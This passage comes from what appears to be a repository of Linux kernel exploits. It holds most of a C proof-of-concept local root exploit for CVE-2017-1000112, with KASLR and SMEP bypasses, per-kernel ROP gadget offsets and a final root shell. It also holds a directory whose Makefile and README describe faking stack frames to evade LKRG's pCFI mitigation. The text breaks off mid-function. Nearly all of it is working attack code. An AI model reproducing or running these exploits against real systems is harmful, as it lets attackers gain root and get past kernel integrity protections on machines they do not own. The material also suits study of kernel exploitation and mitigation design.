for (end = start; substr[end] != '\n'; end++); 318 | 319 | const char* needle2 = "ffffff"; 320 | substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); 321 | if (substr == NULL) { 322 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); 323 | exit(EXIT_FAILURE); 324 | } 325 | 326 | char* endptr = &substr[16]; 327 | unsigned long r = strtoul(&substr[0], &endptr, 16); 328 | 329 | r &= 0xfffffffffff00000ul; 330 | r -= 0x1000000ul; 331 | 332 | return r; 333 | } 334 | 335 | unsigned long get_kernel_addr() { 336 | char* syslog; 337 | int size; 338 | mmap_syslog(&syslog, &size); 339 | 340 | if (strcmp("trusty", kernels[kernel].distro) == 0 && 341 | strncmp("4.4.0", kernels[kernel].version, 5) == 0) 342 | return get_kernel_addr_trusty(syslog, size); 343 | if (strcmp("xenial", kernels[kernel].distro) == 0 && 344 | strncmp("4.8.0", kernels[kernel].version, 5) == 0) 345 | return get_kernel_addr_xenial(syslog, size); 346 | 347 | printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*"); 348 | exit(EXIT_FAILURE); 349 | } 350 | 351 | // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * 352 | 353 | struct ubuf_info { 354 | uint64_t callback; // void (*callback)(struct ubuf_info *, bool) 355 | uint64_t ctx; // void * 356 | uint64_t desc; // unsigned long 357 | }; 358 | 359 | struct skb_shared_info { 360 | uint8_t nr_frags; // unsigned char 361 | uint8_t tx_flags; // __u8 362 | uint16_t gso_size; // unsigned short 363 | uint16_t gso_segs; // unsigned short 364 | uint16_t gso_type; // unsigned short 365 | uint64_t frag_list; // struct sk_buff * 366 | uint64_t hwtstamps; // struct skb_shared_hwtstamps 367 | uint32_t tskey; // u32 368 | uint32_t ip6_frag_id; // __be32 369 | uint32_t dataref; // atomic_t 370 | uint64_t destructor_arg; // void * 371 | uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; 372 | }; 373 | 374 | struct ubuf_info ui; 375 | 376 | void init_skb_buffer(char* buffer, unsigned long func) { 377 | struct skb_shared_info* ssi = (struct skb_shared_info*)buffer; 378 | memset(ssi, 0, sizeof(*ssi)); 379 | 380 | ssi->tx_flags = 0xff; 381 | ssi->destructor_arg = (uint64_t)&ui; 382 | ssi->nr_frags = 0; 383 | ssi->frag_list = 0; 384 | 385 | ui.callback = func; 386 | } 387 | 388 | // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * 389 | 390 | #define SHINFO_OFFSET 3164 391 | 392 | void oob_execute(unsigned long payload) { 393 | char buffer[4096]; 394 | memset(&buffer[0], 0x42, 4096); 395 | init_skb_buffer(&buffer[SHINFO_OFFSET], payload); 396 | 397 | int s = socket(PF_INET, SOCK_DGRAM, 0); 398 | if (s == -1) { 399 | perror("[-] socket()"); 400 | exit(EXIT_FAILURE); 401 | } 402 | 403 | struct sockaddr_in addr; 404 | memset(&addr, 0, sizeof(addr)); 405 | addr.sin_family = AF_INET; 406 | addr.sin_port = htons(8000); 407 | addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); 408 | 409 | if (connect(s, (void*)&addr, sizeof(addr))) { 410 | perror("[-] connect()"); 411 | exit(EXIT_FAILURE); 412 | } 413 | 414 | int size = SHINFO_OFFSET + sizeof(struct skb_shared_info); 415 | int rv = send(s, buffer, size, MSG_MORE); 416 | if (rv != size) { 417 | perror("[-] send()"); 418 | exit(EXIT_FAILURE); 419 | } 420 | 421 | int val = 1; 422 | rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val)); 423 | if (rv != 0) { 424 | perror("[-] setsockopt(SO_NO_CHECK)"); 425 | exit(EXIT_FAILURE); 426 | } 427 | 428 | send(s, buffer, 1, 0); 429 | 430 | close(s); 431 | } 432 | 433 | // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * 434 | 435 | #define CHUNK_SIZE 1024 436 | 437 | int read_file(const char* file, char* buffer, int max_length) { 438 | int f = open(file, O_RDONLY); 439 | if (f == -1) 440 | return -1; 441 | int bytes_read = 0; 442 | while (true) { 443 | int bytes_to_read = CHUNK_SIZE; 444 | if (bytes_to_read > max_length - bytes_read) 445 | bytes_to_read = max_length - bytes_read; 446 | int rv = read(f, &buffer[bytes_read], bytes_to_read); 447 | if (rv == -1) 448 | return -1; 449 | bytes_read += rv; 450 | if (rv == 0) 451 | return bytes_read; 452 | } 453 | } 454 | 455 | #define LSB_RELEASE_LENGTH 1024 456 | 457 | void get_distro_codename(char* output, int max_length) { 458 | char buffer[LSB_RELEASE_LENGTH]; 459 | int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH); 460 | if (length == -1) { 461 | perror("[-] open/read(/etc/lsb-release)"); 462 | exit(EXIT_FAILURE); 463 | } 464 | const char *needle = "DISTRIB_CODENAME="; 465 | int needle_length = strlen(needle); 466 | char* found = memmem(&buffer[0], length, needle, needle_length); 467 | if (found == NULL) { 468 | printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n"); 469 | exit(EXIT_FAILURE); 470 | } 471 | int i; 472 | for (i = 0; found[needle_length + i] != '\n'; i++) { 473 | assert(i < max_length); 474 | assert((found - &buffer[0]) + needle_length + i < length); 475 | output[i] = found[needle_length + i]; 476 | } 477 | } 478 | 479 | void get_kernel_version(char* output, int max_length) { 480 | struct utsname u; 481 | int rv = uname(&u); 482 | if (rv != 0) { 483 | perror("[-] uname())"); 484 | exit(EXIT_FAILURE); 485 | } 486 | assert(strlen(u.release) <= max_length); 487 | strcpy(&output[0], u.release); 488 | } 489 | 490 | #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) 491 | 492 | #define DISTRO_CODENAME_LENGTH 32 493 | #define KERNEL_VERSION_LENGTH 32 494 | 495 | void detect_versions() { 496 | char codename[DISTRO_CODENAME_LENGTH]; 497 | char version[KERNEL_VERSION_LENGTH]; 498 | 499 | get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH); 500 | get_kernel_version(&version[0], KERNEL_VERSION_LENGTH); 501 | 502 | int i; 503 | for (i = 0; i < ARRAY_SIZE(kernels); i++) { 504 | if (strcmp(&codename[0], kernels[i].distro) == 0 && 505 | strcmp(&version[0], kernels[i].version) == 0) { 506 | printf("[.] kernel version '%s' detected\n", kernels[i].version); 507 | kernel = i; 508 | return; 509 | } 510 | } 511 | 512 | printf("[-] kernel version not recognized\n"); 513 | exit(EXIT_FAILURE); 514 | } 515 | 516 | #define PROC_CPUINFO_LENGTH 4096 517 | 518 | // 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP 519 | int smap_smep_enabled() { 520 | char buffer[PROC_CPUINFO_LENGTH]; 521 | int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH); 522 | if (length == -1) { 523 | perror("[-] open/read(/proc/cpuinfo)"); 524 | exit(EXIT_FAILURE); 525 | } 526 | int rv = 0; 527 | char* found = memmem(&buffer[0], length, "smep", 4); 528 | if (found != NULL) 529 | rv += 1; 530 | found = memmem(&buffer[0], length, "smap", 4); 531 | if (found != NULL) 532 | rv += 2; 533 | return rv; 534 | } 535 | 536 | void check_smep_smap() { 537 | int rv = smap_smep_enabled(); 538 | if (rv >= 2) { 539 | printf("[-] SMAP detected, no bypass available\n"); 540 | exit(EXIT_FAILURE); 541 | } 542 | #if !ENABLE_SMEP_BYPASS 543 | if (rv >= 1) { 544 | printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n"); 545 | exit(EXIT_FAILURE); 546 | } 547 | #endif 548 | } 549 | 550 | // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * 551 | 552 | static bool write_file(const char* file, const char* what, ...) { 553 | char buf[1024]; 554 | va_list args; 555 | va_start(args, what); 556 | vsnprintf(buf, sizeof(buf), what, args); 557 | va_end(args); 558 | buf[sizeof(buf) - 1] = 0; 559 | int len = strlen(buf); 560 | 561 | int fd = open(file, O_WRONLY | O_CLOEXEC); 562 | if (fd == -1) 563 | return false; 564 | if (write(fd, buf, len) != len) { 565 | close(fd); 566 | return false; 567 | } 568 | close(fd); 569 | return true; 570 | } 571 | 572 | void setup_sandbox() { 573 | int real_uid = getuid(); 574 | int real_gid = getgid(); 575 | 576 | if (unshare(CLONE_NEWUSER) != 0) { 577 | printf("[!] unprivileged user namespaces are not available\n"); 578 | perror("[-] unshare(CLONE_NEWUSER)"); 579 | exit(EXIT_FAILURE); 580 | } 581 | if (unshare(CLONE_NEWNET) != 0) { 582 | perror("[-] unshare(CLONE_NEWUSER)"); 583 | exit(EXIT_FAILURE); 584 | } 585 | 586 | if (!write_file("/proc/self/setgroups", "deny")) { 587 | perror("[-] write_file(/proc/self/set_groups)"); 588 | exit(EXIT_FAILURE); 589 | } 590 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) { 591 | perror("[-] write_file(/proc/self/uid_map)"); 592 | exit(EXIT_FAILURE); 593 | } 594 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { 595 | perror("[-] write_file(/proc/self/gid_map)"); 596 | exit(EXIT_FAILURE); 597 | } 598 | 599 | cpu_set_t my_set; 600 | CPU_ZERO(&my_set); 601 | CPU_SET(0, &my_set); 602 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { 603 | perror("[-] sched_setaffinity()"); 604 | exit(EXIT_FAILURE); 605 | } 606 | 607 | if (system("/sbin/ifconfig lo mtu 1500") != 0) { 608 | perror("[-] system(/sbin/ifconfig lo mtu 1500)"); 609 | exit(EXIT_FAILURE); 610 | } 611 | if (system("/sbin/ifconfig lo up") != 0) { 612 | perror("[-] system(/sbin/ifconfig lo up)"); 613 | exit(EXIT_FAILURE); 614 | } 615 | } 616 | 617 | void exec_shell() { 618 | char* shell = "/bin/bash"; 619 | char* args[] = {shell, "-i", NULL}; 620 | execve(shell, args, NULL); 621 | } 622 | 623 | bool is_root() { 624 | // We can't simple check uid, since we're running inside a namespace 625 | // with uid set to 0. Try opening /etc/shadow instead. 626 | int fd = open("/etc/shadow", O_RDONLY); 627 | if (fd == -1) 628 | return false; 629 | close(fd); 630 | return true; 631 | } 632 | 633 | void check_root() { 634 | printf("[.] checking if we got root\n"); 635 | if (!is_root()) { 636 | printf("[-] something went wrong =(\n"); 637 | return; 638 | } 639 | printf("[+] got r00t ^_^\n"); 640 | exec_shell(); 641 | } 642 | 643 | int main(int argc, char** argv) { 644 | printf("[.] starting\n"); 645 | 646 | printf("[.] checking distro and kernel versions\n"); 647 | detect_versions(); 648 | printf("[~] done, versions looks good\n"); 649 | 650 | printf("[.] checking SMEP and SMAP\n"); 651 | check_smep_smap(); 652 | printf("[~] done, looks good\n"); 653 | 654 | if (!fork()) { 655 | sleep(2), execl(SHELL, "shell", NULL); 656 | } 657 | 658 | printf("[.] setting up namespace sandbox\n"); 659 | setup_sandbox(); 660 | printf("[~] done, namespace sandbox set up\n"); 661 | 662 | #if ENABLE_KASLR_BYPASS 663 | printf("[.] KASLR bypass enabled, getting kernel addr\n"); 664 | KERNEL_BASE = get_kernel_addr(); 665 | printf("[~] done, kernel text: %lx\n", KERNEL_BASE); 666 | #endif 667 | 668 | printf("[.] commit_creds: %lx\n", COMMIT_CREDS); 669 | printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED); 670 | 671 | unsigned long payload = (unsigned long)&get_root; 672 | 673 | #if ENABLE_SMEP_BYPASS 674 | printf("[.] SMEP bypass enabled, mmapping fake stack\n"); 675 | mmap_stack(); 676 | payload = XCHG_EAX_ESP_RET; 677 | printf("[~] done, fake stack mmapped\n"); 678 | #endif 679 | 680 | printf("[.] executing payload %lx\n", payload); 681 | oob_execute(payload); 682 | printf("[~] done, should be root now\n"); 683 | 684 | wait(NULL); 685 | 686 | return 0; 687 | } 688 | -------------------------------------------------------------------------------- /004-cfi_bypass/.gitignore: -------------------------------------------------------------------------------- 1 | poc 2 | poc.h 3 | shell 4 | shellcode 5 | shellcode.inc 6 | -------------------------------------------------------------------------------- /004-cfi_bypass/Makefile: -------------------------------------------------------------------------------- 1 | SYMLIST = module_alloc|schedule_on_each_cpu|user_path_at_empty|path_put|printk 2 | 3 | KERNEL_CFLAGS = \ 4 | -static -nostartfiles -nodefaultlibs -nostdlib \ 5 | -mno-80387 -mno-fp-ret-in-387 -mno-mmx -mno-sse -mno-sse2 -mno-3dnow -mno-avx \ 6 | -mpreferred-stack-boundary=4 -mno-red-zone \ 7 | -fomit-frame-pointer -fno-stack-protector 8 | 9 | .PHONY: all 10 | all: poc.c ../shell/shell.c 11 | sudo grep -w -E '($(SYMLIST))' /proc/kallsyms | awk '{printf("#define X_%s 0x%s\n", $$3, $$1)}' >poc.h 12 | echo "#define SHELL \"$(CURDIR)/shell\"" >>poc.h 13 | gcc ../shell/shell.c -o shell 14 | gcc $(KERNEL_CFLAGS) shellcode.c -o shellcode 15 | objcopy --dump-section .text=/dev/stdout shellcode | xxd -i >shellcode.inc 16 | gcc poc.c -o poc 17 | 18 | .PHONY: clean 19 | clean: 20 | rm -f shell shellcode shellcode.inc poc poc.h 21 | -------------------------------------------------------------------------------- /004-cfi_bypass/README.md: -------------------------------------------------------------------------------- 1 | CFI bypass 2 | ========== 3 | 4 | Software-based CFI mitigation (pCFI) was intoduced in LKRG 0.6 (https://www.openwall.com/lists/lkrg-users/2019/02/19/1). 5 | 6 | The idea behind this mitigation is that LKRG walks through the call stack checking if the stack-frame has the address which belongs to the kernel. Once it detects the address which points outside the kernel's text it will trigger an alarm. 7 | 8 | Bypassing LKRG's pCFI mitigation will be implemented within 2 steps: 9 | - facking stack frames while operating 10 | - postponing the execution of privelege escalation payload with `schedule_on_each_cpu()` 11 | 12 | Here is the code which helps to fake stack frames: 13 | 14 | ~~~ 15 | struct stack_frame { 16 | struct stack_frame *next_frame; 17 | unsigned long return_address; 18 | }; 19 | 20 | #define cfi_bypass_enter(frames, depth) \ 21 | do { \ 22 | struct stack_frame *frame = __builtin_frame_address(0); \ 23 | for (int i = 1; i < (depth); i++) { \ 24 | frames[i] = *frame; \ 25 | frame->return_address = X_printk; \ 26 | frame = frame->next_frame; \ 27 | } \ 28 | } while (0) 29 | 30 | #define cfi_bypass_leave(frames, depth) \ 31 | do { \ 32 | struct stack_frame *frame = __builtin_frame_address(0); \ 33 | for (int i = 1; i < (depth); i++) { \ 34 | *frame = frames[i]; \ 35 | frame = frame->next_frame; \ 36 | } \ 37 | } while (0) 38 | 39 | void get_root() 40 | { 41 | struct stack_frame frames[ 8 ]; 42 | cfi_bypass_enter(frames, sizeof(frames) / sizeof(frames[0])); 43 | get_root_real(); 44 | cfi_bypass_leave(frames, sizeof(frames) / sizeof(frames[0])); 45 | } 46 | ~~~ 47 | 48 | Here, `cfi_bypass_enter` is a macro which fakes `N` frames by: 49 | - saving them locally to `frames` array 50 | - replacing `return_address` of each frame so it will point to some address in kernel's text 51 | 52 | Once the call to `get_root_real()` is done `cfi_bypass_leave` macro does the opposite: it restores all the saved frames from the `frames` array. 53 | 54 | As for the privelege escalation part - its execution is postponed using `schedule_on_each_cpu()` function. For that `module_alloc()` is used to allocate excutable/writable memory to which the "shellcode" containing the privelege escalation logic is copied. 55 | -------------------------------------------------------------------------------- /004-cfi_bypass/poc.c: -------------------------------------------------------------------------------- 1 | // A proof-of-concept local root exploit for CVE-2017-1000112. 2 | // Includes KASLR and SMEP bypasses. No SMAP bypass. 3 | // Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels. 4 | // 5 | // Usage: 6 | // user@ubuntu:~$ uname -a 7 | // Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 8 | // user@ubuntu:~$ whoami 9 | // user 10 | // user@ubuntu:~$ id 11 | // uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) 12 | // user@ubuntu:~$ gcc pwn.c -o pwn 13 | // user@ubuntu:~$ ./pwn 14 | // [.] starting 15 | // [.] checking distro and kernel versions 16 | // [.] kernel version '4.8.0-58-generic' detected 17 | // [~] done, versions looks good 18 | // [.] checking SMEP and SMAP 19 | // [~] done, looks good 20 | // [.] setting up namespace sandbox 21 | // [~] done, namespace sandbox set up 22 | // [.] KASLR bypass enabled, getting kernel addr 23 | // [~] done, kernel text: ffffffffae400000 24 | // [.] commit_creds: ffffffffae4a5d20 25 | // [.] prepare_kernel_cred: ffffffffae4a6110 26 | // [.] SMEP bypass enabled, mmapping fake stack 27 | // [~] done, fake stack mmapped 28 | // [.] executing payload ffffffffae40008d 29 | // [~] done, should be root now 30 | // [.] checking if we got root 31 | // [+] got r00t ^_^ 32 | // root@ubuntu:/home/user# whoami 33 | // root 34 | // root@ubuntu:/home/user# id 35 | // uid=0(root) gid=0(root) groups=0(root) 36 | // root@ubuntu:/home/user# cat /etc/shadow 37 | // root:!:17246:0:99999:7::: 38 | // daemon:*:17212:0:99999:7::: 39 | // bin:*:17212:0:99999:7::: 40 | // sys:*:17212:0:99999:7::: 41 | // ... 42 | // 43 | // Andrey Konovalov 44 | 45 | #define _GNU_SOURCE 46 | 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | #include 56 | #include 57 | #include 58 | 59 | #include 60 | #include 61 | #include 62 | #include 63 | #include 64 | #include 65 | 66 | #include "poc.h" 67 | 68 | #define ENABLE_KASLR_BYPASS 1 69 | #define ENABLE_SMEP_BYPASS 1 70 | 71 | // Will be overwritten if ENABLE_KASLR_BYPASS is enabled. 72 | unsigned long KERNEL_BASE = 0xffffffff81000000ul; 73 | 74 | // Will be overwritten by detect_versions(). 75 | int kernel = -1; 76 | 77 | struct kernel_info { 78 | const char* distro; 79 | const char* version; 80 | uint64_t commit_creds; 81 | uint64_t prepare_kernel_cred; 82 | uint64_t xchg_eax_esp_ret; 83 | uint64_t pop_rdi_ret; 84 | uint64_t mov_dword_ptr_rdi_eax_ret; 85 | uint64_t mov_rax_cr4_ret; 86 | uint64_t neg_rax_ret; 87 | uint64_t pop_rcx_ret; 88 | uint64_t or_rax_rcx_ret; 89 | uint64_t xchg_eax_edi_ret; 90 | uint64_t mov_cr4_rdi_ret; 91 | uint64_t jmp_rcx; 92 | }; 93 | 94 | struct kernel_info kernels[] = { 95 | { "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d }, 96 | { "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 }, 97 | { "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 98 | { "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 99 | { "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 100 | { "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 }, 101 | { "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 }, 102 | { "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b }, 103 | { "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, 104 | { "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, 105 | { "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b }, 106 | { "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, 107 | { "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, 108 | { "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 109 | { "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 110 | { "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 111 | { "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 112 | { "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 113 | { "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 114 | { "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 115 | { "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 116 | { "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 117 | { "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 118 | { "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 119 | { "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 120 | { "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b }, 121 | { "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b }, 122 | { "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b }, 123 | { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, 124 | { "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, 125 | { "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 126 | { "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 127 | { "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 }, 128 | { "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 129 | { "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 130 | { "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 131 | { "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 132 | { "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 133 | { "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 134 | { "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 }, 135 | }; 136 | 137 | // Used to get root privileges. 138 | #define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds) 139 | #define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred) 140 | 141 | // Used when ENABLE_SMEP_BYPASS is used. 142 | // - xchg eax, esp ; ret 143 | // - pop rdi ; ret 144 | // - mov dword ptr [rdi], eax ; ret 145 | // - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret 146 | // - neg rax ; ret 147 | // - pop rcx ; ret 148 | // - or rax, rcx ; ret 149 | // - xchg eax, edi ; ret 150 | // - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret 151 | // - jmp rcx 152 | #define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret) 153 | #define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret) 154 | #define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret) 155 | #define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret) 156 | #define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret) 157 | #define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret) 158 | #define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret) 159 | #define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret) 160 | #define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret) 161 | #define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx) 162 | 163 | // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * 164 | 165 | void *(*module_alloc)(long) = (void *)X_module_alloc; 166 | long (*schedule_on_each_cpu)(long) = (void *)X_schedule_on_each_cpu; 167 | 168 | static char shellcode[] = { 169 | # include "shellcode.inc" 170 | }; 171 | 172 | static void __attribute__((always_inline)) inline get_root_real(void) { 173 | void *p = module_alloc(sizeof(shellcode)); 174 | __builtin_memcpy(p, shellcode, 